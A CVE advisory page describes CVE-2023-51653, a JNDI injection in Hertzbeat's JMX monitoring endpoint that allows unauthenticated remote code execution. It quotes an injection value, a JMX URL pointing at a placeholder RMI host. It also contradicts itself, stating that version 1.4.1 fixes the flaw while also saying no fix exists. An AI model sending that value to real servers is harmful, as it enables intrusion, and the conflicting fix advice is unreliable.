CVE-2023-51653 Hertzbeat JMX JNDI RCE

Critical 9.8 Published Updated

Attackers can achieve remote code execution in Hertzbeat via JNDI injection in the JMX monitoring interface.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is CVE-2023-51653?

CVE-2023-51653 is a critical code injection vulnerability in dromara hertzbeat, published on 22 Feb 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.

Weakness: CWE-74

Which versions are affected by CVE-2023-51653?

It affects 1 product.

Products include Apache Hertzbeat.

How do I fix CVE-2023-51653?

No fix has been published for CVE-2023-51653 yet. Limit exposure of the affected software until one is available.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is CVE-2023-51653 being exploited?

There is no known exploitation of CVE-2023-51653 in the wild and no public exploit code.

Sources

Also known as GHSA-gcmp-vf6v-59gg.

Is CVE-2023-51653 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free